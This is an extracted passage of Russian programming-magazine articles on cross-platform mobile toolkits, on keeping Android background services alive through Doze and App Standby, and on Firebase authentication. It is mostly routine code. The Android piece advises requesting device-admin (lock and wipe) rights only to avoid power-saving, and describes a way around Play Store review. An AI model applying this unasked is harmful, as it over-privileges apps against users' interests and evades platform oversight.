Berlin.  Да‐да,  это  нас ледни ца  небезыз вес тной  Delphi.  Опус тим  сло ва  нос ‐
таль гии. И хотя RAD Studio (Delphi) утра тила былую популяр ность, на дан ный
момент  это  мощ ная  сис тема  прог рамми рова ния,  прек расно  под ходящая
для раз работ ки мобиль ных при ложе ний с помощью язы ков Delphi/C++.

Embarcadero

Для соз дания мобиль ного про екта надо выб рать пункт Multi‐Device Applic‐
ation.  В  этом  слу чае  при ложе ние  раз рабаты вает ся,  как  обыч но,  с  исполь ‐
зовани ем  визу аль ных  средств  для  соз дания  макета  и  написа нием  кода
на  Delphi/C++  (в  зависи мос ти  от  выбора).  При  этом  ком пиляцию  мож но
выпол нить под Windows 32/64, Android, macOS,  iOS — пос ледние два вари ‐
анта  толь ко  на  маке.  Для  сбор ки  Android‐бил да  исполь зует ся  Android  SDK,
а  iOS‐бил да,  соот ветс твен но,  Apple  SDK;  для  тес тирова ния —  род ные  эму ‐
лято ры. Интерфейс мож но соз давать как для окон ного при ложе ния, так и на
макете устрой ства по выбору.

RAD Studio с минималь ным про ектом

Жир ный минус это го решения — оно не бес плат но. Лицен зии раз ные по цене
и  сос таву.  Если  RAD  Studio  вклю чает  оба  язы ка,  то  мож но  огра ничить ся
чем‐то одним: Delphi или C++ Builder, соот ветс твен но, и сто имость этих про ‐
дук тов по отдель нос ти будет ниже.

BLACK BOX
Apache Cordova
Нач нем обсужде ние «чер ной короб ки» с одно го из самых ста рых и извес тных
инс тру мен тов этой катего рии —  . Для начала уста нови   и 

. В сос таве пер вого уста новит ся ути лита коман дной стро ки npm. Далее
в  тер минале  перед  непос редс твен ной  уста нов кой  Cordova  надо  выпол нить
три сле дующие коман ды:

Cordova Node.js Git

client

npm config get registry
npm cache clean
npm install express

Пос ле это го мож но ста вить Cordova:

npm install ‐g cordova

Ес ли  не  выпол нять  пре дыду щие  коман ды,  то  уста нов ка Cordova  завер шится
с  ошиб ками.  На macOS  уста нав ливать  необ ходимо  с  пра вами  адми нис тра ‐
тора — sudo, ина че будут проб лемы.

Те перь с помощью Cordova соз дадим при ложе ние (зай дем внутрь катало ‐
га), добавим необ ходимые плат формы, для которых Cordova будет соз давать
бил ды:

cordova create hello com.example.hello HelloWorld
cd hello
cordova platform add windows ‐‐save
cordova platform add android ‐‐save

Плат форма Windows —  это  UWP.  Под дер жку  iOS  в Windows  добав лять  бес ‐
полез но,  так  как  Cordova  исполь зует  уста нов ленные  в  сис теме  SDK,  а Win‐
dows, как мы зна ем, не под держи вает  iOS. Что бы про верить, все ли зависи ‐
мос ти в SDK удов летво рены, вво ди коман ду   и смот ри
ее  вывод.  Ког да  все  будет  исправ но,  мож но  собирать  про екты  и  тес тить
в эму лято ре (для Android) или в сре де ОС (для Windows):

cordova requirements

cordova build android
cordova emulate android
cordova build windows
cordova emulate windows

В  ито ге  име ем:  раз мер  Android‐бил да  —  1,74  Мбайт,  UWP‐бил да  —
1,59 Мбайт.

Мне ста ло инте рес но:  какой раз мер будет у ана логич ного минималь ного
iOS‐при ложе ния?  Поэто му  я  про делал  все  опи сан ные  опе рации  на  маке.
Кро ме  Xcode  8,  который  у  меня  уста нов лен,  мне  понадо бил ся 
и  . Пер вый уста нав лива ется и одновре мен но стро ится по коман де

.  Вто рой  —
по коман де  . Для уста нов ки нужен дефол тный
Ruby. Сно ва про веря ем наличие необ ходимых ком понен тов, пос ле про делан ‐
ных опе раций все дол жно быть в нор ме. Стро им и запус каем про ект для iOS:

PhoneGap
CocoaPods

sudo  npm  ‐g  install  ios‐deploy  ‐‐unsafe‐perm=true
sudo gem install cocoapods

cordova build ios
cordova emulate ios

И вот резуль тат: раз мер iOS‐бил да — 1,9 Мбайт.
  Субъ ективное  мне ние  о  Cordova:  я  бы  не  стал  ее  исполь зовать,

потому  что  я  не  веб‐прог раммист  и  не  пишу  на  JavaScript.  Для  кого‐то
это может быть, наобо рот, плю сом. Cordova соз дает допол нитель ные фай лы
для  откры тия  про ектов  в  род ных  сре дах  прог рамми рова ния:  Visual  Studio,
Xcode  и  так  далее.  Как  я  уже  говорил,  у  black  box  непол ное  пок рытие  воз ‐
можнос тей  плат формы,  нес мотря  на  наличие  спе циаль ных  пла гинов,  рас ‐
ширя ющих  воз можнос ти  инс тру мен тария.  Докумен тация  не  нас толь ко  все ‐
объ емлю щая,  как  хотелось  бы.  Одна ко  в  интерне те  мно го  энту зиас тов,
исполь зующих  Cordova  для  раз работ ки  весь ма  серь езных  при ложе ний
и делящих ся зна ниями.

Ито ги.

Adobe Fuse
Сра зу ого ворюсь:  не пута ем    с Adobe Fuse CC — инс тру мен том
трех мерно го модели рова ния!

Adobe Fuse

До воль но‐таки новая тул за, поэто му находит ся в ста дии beta. Fuse пред ‐
став ляет собой набор инс тру мен тов для раз работ ки при ложе ний под Android
и  iOS.  Adobe  собира ется  открыть  ее  исходни ки.  Для  раз работ ки  внеш него
вида  при ложе ний  исполь зует ся  XML‐подоб ный  язык,  с  его  помощью  лег ко
соз дают ся  гиб кие  и  инте рак тивные  интерфей сы,  которые  визу али зиру ются
как  натив ные  для  сис темы  кон тро лы  или  с  помощью  OpenGL.  Этот  язык
без проб лем пор тиру ется на обе плат формы. Fuse написан на Uno, который
ком пилиру ется  в  чис тый  C++  с  под дер жкой  Java  (для  Android)  и Obj‐C  (для
iOS).  Логика  при ложе ния  пишет ся  на  JavaScript  и  выпол няет ся  в  отдель ном
потоке. Пока под дер жка UWP здесь отсутс тву ет.

Fuse Dashboard

Во вре мя инстал ляции так же уста нав лива ется редак тор Sublime Text 3 и Fuse‐
пла гин для него. По боль шому сче ту Fuse уста нав лива ется как ути лита коман ‐
дной стро ки. И ее мож но исполь зовать подоб но Cordova,  но вдо бавок Fuse
пре дос тавля ет инс тру мен таль ную панель, отку да мож но выпол нить все опе ‐
рации, нап ример соз дать/открыть про ект. На   есть боль шое количес тво
при меров  и  ,  при год ной  для  изу чения.  Для  соз дания  нашего
минималь ного при ложе ния открой про ект — файл MainView.ux и замени в нем
весь код сле дующим:

сай те
до кумен тации

<App>
    <DockPanel>
        <StatusBarBackground Dock="Top" />
        <ScrollView ClipToBounds="true">
            <StackPanel>
                <Text FontSize="30">Hello, world!</Text>
                <Button Text="{buttonText}" Clicked="{onClick}"/>
            </StackPanel>
        </ScrollView>
    </DockPanel>
    <JavaScript>
    var Observable = require('FuseJS/Observable');
    var buttonText = Observable('Button');
    var clickCount = 0;
    function onClick() {
        clickCount += 1;
        buttonText.value = 'Clicks: ' + clickCount;
    }
    module.exports = {
        buttonText: buttonText,
        onClick: onClick
    }
</JavaScript>
</App>

Fuse  име ет  свой  псев до‐Android‐эму лятор,  который  выпол няет  отдель но
ском пилиро ван ный код, но мож но так же исполь зовать стан дар тный эму лятор.
Пер вым мож но вос поль зовать ся из инс тру мен таль ной панели, пос ле выбора
про екта клик нув по кноп ке Preview и выб рав Local. Вто рым — пос ле инстал ‐
ляции  Android  SDK,  то  есть  вво да  коман ды  .  Ког да
уста нов ка будет  завер шена,  выпол ни  ,  но  преж де
надо руками запус тить эму лятор или под клю чить устрой ство. Пос ле под клю ‐
чения устрой ства появит ся пункт Android в меню кноп ки Preview. В ито ге раз ‐
мер  исполня емо го  фай ла  минималь ного  при ложе ния  для  Android
равен 8,4 Мбайт.

fuse  install  android
fuse preview ‐tandroid

Все то же самое дела ется на маке. Там, к сло ву, Sublime Text надо уста нав ‐
ливать отдель но. В меню  кноп ки Preview при  уста нов ленных инс тру мен таль ‐
ных  пакетах  име ется  три  пун кта:  Local,  Android,  iOS.  Нас  инте ресу ет  пос ‐
ледний.  Если  выб рать  его,  запус кает ся  Xcode,  куда  переда ется  наше  при ‐
ложе ние.  То есть  ком пиляцию надо про водить руками. Раз мер  точ но  такого
же при ложе ния для iOS — 35,9 Мбайт.

Пос тро ение  при ложе ния  во  Fuse  про исхо дит  сле дующим  обра зом:  XML‐
код для опи сания макета объ еди няет ся с  JavaScript  и натив ным Uno‐кодом,
про ходит  ком пиляцию  source‐to‐source,  далее  под хва тыва ется  соот ветс тву ‐
ющий для плат формы SDK: Android, Xcode.

Sublime Text 3

. Fuse — доволь но инте рес ная тех нология. Даже мне она пон равилась,
нес мотря  на  весь  этот  JS.  Выпол нение  впол не  шус трое,  но  докумен тации
мало,  хоть  и  спи сок  при меров обширный. Раз работ чики радос тно отве чают
на воп росы. Боль ше пока ска зать нечего — оце ним поз же, ког да будет готова
вер сия для выпус ка.

Ито ги

ПРОМЕЖУТОЧНОЕ ЗАКЛЮЧЕНИЕ
Из рас смот ренных сегод ня тулз я с боль шой натяж кой отдаю свой голос Cor‐
dova,  бла года ря  пок рытию  ей  всех  мобиль ных  плат форм.  Чис то  по  работе
мне  вне зап но  пон равил ся  Fuse,  но  он  не  под держи вает  UWP.  За  это  ему
минус. Не был бы  так дорог RAD Studio,  смог бы занять  лидиру ющее мес то
на нашем пьедес тале. Осталь ные Silo‐средс тва не про ходят отбор, так как мы
стре мим ся к истинной кросс‐плат формен ной раз работ ке: одна тул за дол жна
охва тывать  как  мож но  боль ше  плат форм  с  минималь ными  изме нени ями
или вооб ще без них.

В сле дующей статье мы про дол жим рас смат ривать black box инс тру мен ты,
а так же перей дем к треть ему и пос ледне му виду тулз — cross‐platform. И, уже
вла дея всей кар тиной, сде лаем окон чатель ный вывод.

mailto:yazevsoft@gmail.com
https://clck.ru/Ap8C3
https://stats.hackmag.com/pdf/yazevsoft@gmail.com
http://www.t2d-dev.ru/
https://developer.android.com/studio/index.html
https://www.embarcadero.com/ru/
https://cordova.apache.org/
https://github.com/phonegap/ios-deploy
https://cocoapods.org/
https://www.fusetools.com/
https://www.fusetools.com/examples/
https://www.fusetools.com/docs
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КОДИНГ

Дав ным‐дав но,  ког да  Android  еще  не  был  мей нстри мом,
любой раз работ чик мог написать при ложе ние, которое смо ‐
жет спо кой но висеть в фоне и в режиме реаль ного вре мени
обме нивать ся  дан ными  с  сер вером.  Но  чем  даль ше,  тем
более  жес ткие  тех ники  сох ранения  энер гии  при меня ет
Google,  и  сегод ня  так  прос то  сетевое  реал тай мовое  при ‐
ложе ние уже не реали зуешь. Одна ко есть нес коль ко трю ков,
которые поз воля ют это сде лать.

Да вай пред ста вим, что у нас есть при ложе ние, а у него, в свою оче редь, есть
служ ба  (service),  которая  дол жна  пос тоян но  висеть  в  фоне,  обра баты вать
коман ды, получен ные от сетево го сер вера, и отправ лять отве ты. Связь с сер ‐
вером,  как  это  и  положе но  мобиль ным  устрой ствам,  под держи вает ся
с  помощью  long  poll  зап росов,  то  есть  при ложе ние  под клю чает ся  к  уда лен ‐
ному сер веру и ждет, пока тот отпра вит что‐либо в ответ, а потом перепод ‐
клю чает ся и ждет сно ва. Это эффектив ный и очень эко ном ный в пла не заряда
батареи  спо соб,  который  в  том  чис ле  исполь зует ся  в  механиз ме  push‐уве ‐
дом лений самого Android.

В теории все выг лядит отлично, архи тек тура при ложе ния абсо лют но пра ‐
виль ная, вот толь ко, если начать его тес тировать, вскро ется нес коль ко очень
неп рият ных момен тов.

РЕЖИМЫ ЭНЕРГОСБЕРЕЖЕНИЯ ANDROID
В  Android  4.4–5.1  (вер сии  ниже  мы  рас смат ривать  не  будем  —  они  стре ‐
митель но  уста рева ют)  служ ба  будет  работать  и  момен таль но  откли кать ся
на  зап росы сер вера,  но  толь ко  до  тех  пор,  пока  экран  вклю чен.  Через  нес ‐
коль ко  секунд  пос ле  отклю чения  экра на  смар тфон  перей дет  в  режим  сна
(suspend),  и  про межу ток  меж ду  отправ кой  зап роса  и  отве том  нашего  при ‐
ложе ния  будет  сос тавлять  при мер но  минуту.  Это  срок  меж ду  maintenance‐
про буж дени ями устрой ства, и пов лиять на него мы не можем.

В Android 6.0–7.1 ситу ация будет при мер но такой же, одна ко спус тя при ‐
мер но  час  смар тфон  перей дет  в  так  называ емый  .  Пос ле  это го
ответ от при ложе ния мож но либо не получить вов се, либо получить спус тя час
или  два.  А  все  потому,  что  в  режиме  Doze  смар тфон  фак тичес ки  не  дает
работать  сто рон ним  при ложе ниям  и  их  служ бам  и  пол ностью  отре зает  им
дос туп в Сеть. Управле ние они могут получить толь ко на корот кий про межу ток
вре мени  спус тя  час  пос ле  перехо да  в  режим Doze,  затем  два  часа,  четыре
часа, со все боль шим уве личе нием про межут ков меж ду про буж дени ями.

ре жим Doze

Хо рошие  новос ти  в  том,  что Doze  работа ет  обще сис темно  и  вклю чает ся
спус тя  час  пос ле  отклю чения  экра на  и  толь ко  если  не  тро гать  смар тфон
(в 7.0–7.1 мож но и тро гать), а отклю чает ся сра зу пос ле раз бло киров ки смар ‐
тфо на,  под соеди нения  к  заряд нику  или  дви жения  смар тфо на  (опять  же
не в 7.0–7.1).  То есть мож но наде ять ся на  то,  что  хотя бы днем наш сер вис
будет работать нор маль но.

Пло хие же новос ти в том, что, помимо Doze, в Android 6.0–7.1 есть и дру ‐
гой  механизм  энер госбе реже ния  под  наз вани ем  App  Standby.  Работа ет  он
при мер но  так:  сис тема  сле дит  за  тем,  какие  при ложе ния  исполь зует  юзер,
и при меня ет к ред ко исполь зуемым при ложе ниям те же огра ниче ния, что и в
слу чае  с  режимом  Doze.  При  под клю чении  к  заряд нику  все  переве ден ные
в режим Standby при ложе ния получа ют амнистию. К при ложе ниям, име ющим
уве дом ление  или  пра ва  адми нис тра тора  (не  root),  режим  Standby  не  при ‐
меня ется.

Ито го, в Android есть сра зу три механиз ма, с которы ми при дет ся бороть ся:
Suspend — обыч ный режим энер госбе реже ния, может замед лить получе ‐
ние отве та от устрой ства при мер но на одну минуту;

•

App Standby — агрессив ный режим энер госбе реже ния, спо соб ный замед ‐
лить получе ние отве та на сут ки;

•

Doze — агрессив ный обще сис темный режим энер госбе реже ния, который
при меня ется ко всем при ложе ниям.

•

Все эти режимы энер госбе реже ния мож но обой ти, но чем даль ше в лес, тем
боль ше  кос тылей  и  неудобств  поль зовате лю,  поэто му  мы  рас смот рим  нес ‐
коль ко вари антов обхо да механиз мов энер госбе реже ния, от самых лай товых
до хар дкор ных.

СЦЕНАРИЙ 1. НЕБОЛЬШАЯ ЗАДЕРЖКА В ОТВЕТЕ НЕКРИТИЧНА,
ПЕРЕХОД В DOZE НЕКРИТИЧЕН
В  этом  сце нарии  у  тебя  есть  при ложе ние,  для  которо го  задер жка  в  отве те
до  одной  минуты  нек ритич на,  а  переход  смар тфо на  в  режим  агрессив ного
энер госбе реже ния  сов сем  не  стра шен.  Все,  что  тебе  нуж но,  —  это  что бы
сис тема не отправ ляла при ложе ние в сос тояние Standby.

Два  самых  прос тых  спо соба  добить ся  это го  —  либо  вывес ти  служ бу
на перед ний план (foreground service), либо дать при ложе нию пра ва адми нис ‐
тра тора устрой ства. Нач нем с пер вого вари анта.

Foreground service
Foreground service в тер миноло гии Android — это служ ба, которая име ет уве ‐
дом ление в штор ке. Сис тема отно сит ся к таким служ бам гораз до береж нее.
Нап ример, при нех ватке памяти она будет  уби та в пос леднюю оче редь, она
не будет уби та при сма хива нии при ложе ния в меню управле ния запущен ными
при ложе ниями, и да, к ней не будет при менен режим Standby.

Соз дать foreground service очень прос то. Дос таточ но вста вить в код служ ‐
бы при мер но такие стро ки:

Intent notificationIntent = new Intent(this, ExampleActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, 
notificationIntent, 0);
Notification notification = new Notification.Builder(this)
    .setContentTitle(getText(R.string.notification_title))
    .setContentText(getText(R.string.notification_message))
    .setSmallIcon(R.drawable.icon)
    .setContentIntent(pendingIntent)
    .setTicker(getText(R.string.ticker_text))
    .build();
startForeground(0, notification);

Этот при мер соз дает уве дом ление, при тапе на которое будет запуще на Ex‐
ampleActivity, в кон це с помощью startForeground() служ ба перево дит ся в ста ‐
тус foreground.

Пра ва адми нис тра тора
Дру гой вари ант — это дать при ложе нию пра ва адми нис тра тора. Такие пра ва
обес печива ют  воз можность  управлять  полити кой  фор мирова ния  паролей
экра на бло киров ки, делать уда лен ную бло киров ку и вайп устрой ства.

В свое вре мя Google вве ла понятие «адми нис тра тор устрой ства» для ком ‐
паний,  которые  хотели  бы  управлять  смар тфо нами  сво их  сот рудни ков.  То
есть ком пания соз дает при ложе ние, которое получа ет пра ва адми нис тра тора
и  может  заб локиро вать  или  сбро сить  телефон  пос ле  коман ды  от  сер вера.
Имен но  поэто му  при ложе ние  с  пра вами  адми нис тра тора  не  перехо дит
в режим Standby, ведь коман да на бло киров ку может прий ти в любой момент.

По лучить,  а  точ нее  зап росить  пра ва  адми нис тра тора  опять  же  прос то.
Для  начала  нам  понадо бит ся  пара  кол бэков,  которые  будут  выз ваны  пос ле
того, как пра ва получе ны или отоз ваны:

public static class myDeviceAdminReceiver extends DeviceAdminReceiver
 {
    @Override
    public void onEnabled(Context context, Intent intent) {
        Toast.makeText(context, "Admin rights granted", Toast.LENGTH
_SHORT).show;
        Settings.put(C.S_USE_ADMIN, "true");
    }
    @Override
    public void onDisabled(Context context, Intent intent) {
        Toast.makeText(context, "Admin rights disbaled", Toast.LENGTH
_SHORT).show;
        Settings.put(C.S_USE_ADMIN, "false");
    }
}

А  затем  дос таточ но  выз вать  интент  DevicePolicyManager.ACTION_AD‐
D_DEVICE_ADMIN,  который  при ведет  к  появ лению  на  экра не  окна  для  акти ‐
вации прав адми нис тра тора:

mDeviceAdmin = new ComponentName(activity, myDeviceAdminReceiver.
class);
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVI
CE_ADMIN);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdmin)
;
startActivityForResult(intent, 1);

Зап рос на акти вацию прав адми нис тра тора и окно управле ния адми нис ‐
тра тора ми

СЦЕНАРИЙ 2. НЕБОЛЬШАЯ ЗАДЕРЖКА В ОТВЕТЕ НЕКРИТИЧНА, В
РЕЖИМЕ DOZE СЕРВИС ДОЛЖЕН РАБОТАТЬ
Проб лема с пре дыду щим сце нари ем в том, что, хотя при ложе ние и не будет
перехо дить в сос тояние Standby, режим Doze про дол жит на него дей ство вать.
К  счастью,  Android  поз воля ет  час тично  отклю чить Doze  для  выб ранных  при ‐
ложе ний  и  даже  пре дос тавля ет  средс тва  для  вывода  диало га  с  зап росом
на добав ление при ложе ния в спи сок исклю чений. Все, что нуж но сде лать, —
это выз вать сле дующий интент:

Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS

При мер:

@TargetApi(23)
public static void requestIgnoreBatteryOptimisation(Context context) 
{
    Intent intent = new Intent();
    String packageName = context.getPackageName();
    PowerManager pm = (PowerManager) context.getSystemService(Context
.POWER_SERVICE);
    if (!pm.isIgnoringBatteryOptimizations(packageName)) {
        intent.setAction(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPT
IMIZATIONS);
        intent.setData(Uri.parse("package:" + packageName));
        context.startActivity(intent);
    }
}

Плюс добавить такую стро ку в Manifest.xml:

<uses‐permission android:name="android.permission.REQUEST_IGNORE_
BATTERY_OPTIMIZATIONS" />

Ес ли юзер сог ласит ся добавить при ложе ние в исклю чение, нажав «Да», наша
служ ба смо жет работать с Сетью и уста нав ливать вей кло ки (partial wakelock),
даже ког да смар тфон находит ся в режиме Doze.

Проб лема это го под хода толь ко в том, что Google не про пус тит такое при ‐
ложе ние в Play Store. Точ нее, она дол жна его про пус тить, если подоб ная фун ‐
кци ональ ность  дей стви тель но  необ ходима  при ложе нию  (об  этом  ясно  ска ‐
зано в  ). Но по фак ту робот Гуг ла сра зу отши бает любые при ‐
ложе ния с пер мишеном REQUEST_IGNORE_BATTERY_OPTIMIZATIONS.

до кумен тации

Обой ти эту проб лему мож но, если вмес то того, что бы нап рямую про сить
юзе ра  добавить  при ложе ние  в  спи сок  исклю чений,  прос то  кинуть  его
на экран управле ния исклю чени ями Doze (Нас трой ка → Батарея → Меню →
Эко номия  заряда батареи),  пред варитель но  пре дуп редив,  что юзер дол жен
сам най ти при ложе ние в спис ке и вык лючить для него режим энер госбе реже ‐
ния. Сде лать это мож но с помощью такого метода:

@TargetApi(23)
public static void openBatteryOptimizationSettings(Context context) {
    Intent intent = new Intent();
    String packageName = context.getPackageName();
    PowerManager pm = (PowerManager) context.getSystemService(Context
.POWER_SERVICE);
    if (!pm.isIgnoringBatteryOptimizations(packageName)) {
        intent.setAction(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATIO
N_SETTINGS);
        context.startActivity(intent);
    }
}

Ок но исклю чений режима Doze

СЦЕНАРИЙ 3. ЗАДЕРЖКА В ОТВЕТЕ НЕДОПУСТИМА, В РЕЖИМЕ
DOZE СЕРВИС ДОЛЖЕН РАБОТАТЬ
К сожале нию, даже если ты добавишь при ложе ние в исклю чения Doze, ты все
рав но не избе жишь задер жки в отве те. Одна минута может быть нек ритич на
для боль шинс тва при ложе ний, но, если речь идет о чем‐то вро де мес сен дже ‐
ра, никакая задер жка не допус тима.

Что бы избе жать задер жки, мож но исполь зовать трюк, при менен ный в мес ‐
сен дже ре  Signal.  Работа ет  он  так:  ког да  на  смар тфон  отправ ляет ся  сооб ‐
щение, сер вер отсы лает на него же пус тое push‐уве дом ление, единс твен ная
задача которо го — раз будить мес сен джер и передать ему управле ние. Пос ле
это го Signal бла гопо луч но получа ет сооб щение с сер вера и вновь засыпа ет.

Ре али зация  push‐уве дом лений  выходит  далеко  за  рам ки  этой  статьи,
поэто му я не буду рас ска зывать о ней, но поделюсь некото рыми совета ми.
1. Push‐уве дом ления  дол жны  быть  реали зова ны  средс тва ми  Firebase Cloud
Messaging  (FCM,  ранее  Google  Cloud  Messaging)  или  с  помощью  биб ‐
лиотек и сер висов на осно ве этой тех нологии.

2. Уве дом ления  дол жны  быть  высокоп риори тет ными,  ина че  они  не  смо гут
вытащить твое при ложе ние из Doze.

3. Твое  при ложе ние  дол жно  находить ся  в  спис ке  исклю чений  Doze,  ина че,
прос нувшись пос ле получе ния push, оно не смо жет вый ти в Сеть.

4. Са мый прос той спо соб реали зации push‐уве дом ления — это сер вис 
. Он пос тро ен на базе FCM, очень лег ко интегри рует ся в при ложе ‐

ние  и  пре дос тавля ет  без лимит ное  количес тво  пушей  даже  в  бес плат ной
вер сии.

One‐
Signal

Па нель управле ния OneSignal

ВМЕСТО ВЫВОДОВ
С каж дой новой вер сией Android Google все боль ше огра ничи вает раз работ ‐
чиков  при ложе ний  в  воз можнос тях.  Одна ко  обходные  пути  всег да  мож но
отыс кать. Да, порой эти пути боль ше напоми нают изви лис тые лес ные тро пы,
чем авто магис траль. Но они есть, и Google не зак рыва ет все воз можные пути
реали зации фун кци ональ нос ти, намерен но оставляя лазей ки.

mailto:zobnin@glc.ru
https://xakep.ru/2016/02/02/doze/
https://developer.android.com/training/monitoring-device-state/doze-standby.html
https://onesignal.com/
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КОДИНГ

Но вый  сер вис    от    спо ‐
собен  пок рыть  боль шинс тво  пот ребнос тей
мобиль ного  раз работ чика  и  решить  проб ‐
лемы, которых у тебя еще нет. Сер вис бес ‐
плат ный при соб людении лимитов, а что бы
за  них  вый ти,  нуж но  очень  пос тарать ся.
В  этой  статье  я  нач ну  перечис лять  воз ‐
можнос ти сер виса и поделюсь сво им опы ‐
том работы с ним.

Firebase Google

Ска зать,  что  по  нашей  ули це  про шел  инкасса тор, —  это  ничего  не  ска зать.
Зай мем ся изу чени ем инс тру мен та вплот ную!

FAREWELL VK, HELLO FIREBASE
В сво их  пре дыду щих  стать ях  я  рас смат ривал  VK API  как 

. У него есть ряд пре иму ществ. Хос тинг без лимит ный,
типов  кон тента мно го,  управлять им может даже школь ник, дос таточ но объ ‐
яснить ему струк туру напол нения при ложе ния…

бес плат ный бэкенд
мобиль ных при ложе ний

Но  один  недос таток  фатален  —  негиб кость  сер вера.  Запись  на  сте не
нель зя редак тировать через какое‐то вре мя, и не получит ся отпра вить в при ‐
ложе ние  сооб щение  об  ее  обновле нии.  Нуж но  каж дый  раз  выкачи вать  все
объ екты  со  сте ны  и  отсле живать  все  изме нения,  стро го  переби рая  записи.
Серь езные про екты так не работа ют, и «хва тит это тер петь!» ©.

На  наше  счастье,  Google  выкупи ла  ком панию    и  откры ла  ее
для исполь зования всем жела ющим.

Firebase

Под робнее, что там есть инте рес ного

Тво ри, рас ти, зараба тывай!

В нашем рас поряже нии име ются:
Analytics  —  ана лити ка  по  при ложе нию:  раз мер  ауди тории,  информа ция
о поль зовате лях, события в при ложе нии и про чее.

•

Authentication — поль зовате ли могут при вязать свои учет ные записи к при ‐
ложе нию,  а  к  ним мы можем  при вязать  любые  дан ные.  Из  короб ки  под ‐
держи вают ся  сле дующие  про вай деры  авто риза ции:  Google,  Facebook,
Twitter,  GitHub,  ано ним ный  вход  и  имейл‐пароль  для  сво ей  регис тра ции.
Не хва тает толь ко VK‐авто риза ции.

•

Прос то вклю чи свой про вай дер

Realtime  Database —  самая  нас тоящая  база  дан ных,  работа ет  с  живыми
изме нени ями в реаль ном вре мени.

•

Storage  —  хра нили ще  для  фай лов  поль зовате лей,  мож но  лег ко  сде лать
пер сональ ное хра нили ще, а мож но и делить ся фай лами.

•

Hosting  —  тут  прос то  момен таль ное  раз верты вание  веб‐при ложе ний
и  мобиль ных  при ложе ний  с  помощью  безопас ной  гло баль ной  сети  дос ‐
тавки кон тента.

•

Test  Lab  for  Android  —  тес тируй  при ложе ния  Android  на  самых  раз ных
устрой ствах.

•

App Indexing — свя жи информа цию с веб‐сай та с внут ренни ми стра ница ми
при ложе ния,  так же есть воз можность индекси ровать дан ные при ложе ния
и отоб ражать их в резуль татах поис ка на устрой стве.

•

Crash  Reporting  —  сбор  информа ции  о  сбо ях  в  при ложе нии  (на  ран них
вер сиях и сам был источни ком кра шей, но вро де почини ли).

•

Notifications — уве дом ления, замена ста рым Google Cloud Messaging.•
Remote Config — спо соб менять поведе ние при ложе ния пря мо со сво его
сер вера, изме няя нуж ные парамет ры.

•

Dynamic Links — полез ный спо соб про кинуть кон текст в при ложе ние (нап ‐
ример, поль зователь читал про аспи рин на тво ем сай те, перешел в мар ‐
кет, уста новил при ложе ние, и ему откры лась стра ница с аспи рином).

•

AdMob — рек ламный сер вис с мно жес твом фор матов, по пра ву занима ет
лидиру ющие позиции в мобиль ной рек ламе. У этой сети рек ламы всег да
мно го, и она модери рует ся.

•

А за что поп росят день ги?
День ги  с  нас  спра вед ливо  поп росят,  если  наш  биз нес  дей стви тель но  раз ‐
растет ся.  Ког да  он  упрется  в  бес плат ные  лимиты,  пла тить  нам  уже  будет
с чего.

Бес плат но нам дос тупно:
Realtime Database:•

100 еди нов ремен ных под клю чений•
1 Гбайт хра нили ща•
10 Гбайт в месяц тра фика•

Storage:•

5 Гбайт хра нили ща•
1 Гбайт в день тра фика•
20 000 опе раций заг рузок в день•
50 000 опе раций ска чива ния в день•

Hosting:•

1 Гбайт хра нили ща•
10 Гбайт в месяц тра фика•
Custom domain hosting & SSL•

Test Lab:•

за пуск не более пят надца ти тес тов в день (десять на вир туаль ных и пять
на физичес ких устрой ствах)

•

Бо лее под робно читай  .здесь

Наш бес плат ный Spark

АУТЕНТИФИКАЦИЯ В ПРИЛОЖЕНИИ
Что бы поль зователь мог сох ранять нас трой ки при ложе ния на сер вере, нуж но
соз дать учет ную запись. Firebase поз воля ет это делать при помощи соз дания
собс твен ной учет ной записи, как на любом сай те с имей лом‐паролем. Так же
мож но  при вязать ся  к  учет ным  записям  Google,  Facebook,  Twitter,  GitHub.
В сво их при ложе ниях я исполь зую акка унты Firebase и Google.

Раз решен ные спо собы вхо да

Хо роший при мер кода для вдох новения ты най дешь  . А как сде лать свою
регис тра цию, внят но опи сано  .

здесь
тут

Для связ ки Google‐акка унта с при ложе нием я делаю сле дующее. В методе
OnCreate нуж ной Activity соз даю объ екты GoogleApiClient, FirebaseAuth и слу ‐
шате ля аутен тифика ции FirebaseAuth.AuthStateListener.

// [START config_signin]
// Configure Google Sign In
GoogleSignInOptions gso = new GoogleSignInOptions.Builder(Google
SignInOptions.DEFAULT_SIGN_IN)
    .requestIdToken(getString(R.string.default_web_client_id))
    .requestEmail()
    .build();
// [END config_signin]
mGoogleApiClient = new GoogleApiClient.Builder(this)
    .enableAutoManage(this /* FragmentActivity */, this /* OnConn
ectionFailedListener */)
    .addApi(Auth.GOOGLE_SIGN_IN_API, gso)
    .build();
// [START initialize_auth]
mAuth = FirebaseAuth.getInstance();
// [END initialize_auth]
// [START auth_state_listener]
mAuthListener = new FirebaseAuth.AuthStateListener() {
    @Override
    public void onAuthStateChanged(@NonNull FirebaseAuth firebaseAuth
) {
        FirebaseUser user = firebaseAuth.getCurrentUser();
        if (user != null) {
            // User is signed in
            Log.d(TAG, "onAuthStateChanged:signed_in:" + user.getUid
());
        } else {
            // User is signed out
            Log.d(TAG, "onAuthStateChanged:signed_out");
        }
        // [START_EXCLUDE]
        updateUI(user);
        // [END_EXCLUDE]
    }
};
// [END auth_state_listener]

Что бы запус тить аутен тифика цию, исполь зуем прос той метод:

private void signIn() {
    Intent signInIntent = Auth.GoogleSignInApi.getSignInIntent(mGoogl
eApiClient);
    startActivityForResult(signInIntent, RC_SIGN_IN);
}

За пущен ная акти вити пред ложит нам выб рать учет ную запись Google из хра ‐
нящих ся на устрой стве. Пос ле выбора нуж но обра ботать резуль тат в методе

:onActivityResult

@Override
public void onActivityResult(int requestCode, int resultCode, Intent 
data) {
    super.onActivityResult(requestCode, resultCode, data);
    // Result returned from launching the Intent from Google
SignInApi.getSignInIntent(...);
    if (requestCode == RC_SIGN_IN) {
        GoogleSignInResult result = Auth.GoogleSignInApi.getSig
nInResultFromIntent(data);
        if (result.isSuccess()) {
            // Google Sign In was successful, authenticate with 
Firebase
            GoogleSignInAccount account = result.getSignInAccount();
            firebaseAuthWithGoogle(account);
        } else {
            // Google Sign In failed, update UI appropriately
            // [START_EXCLUDE]
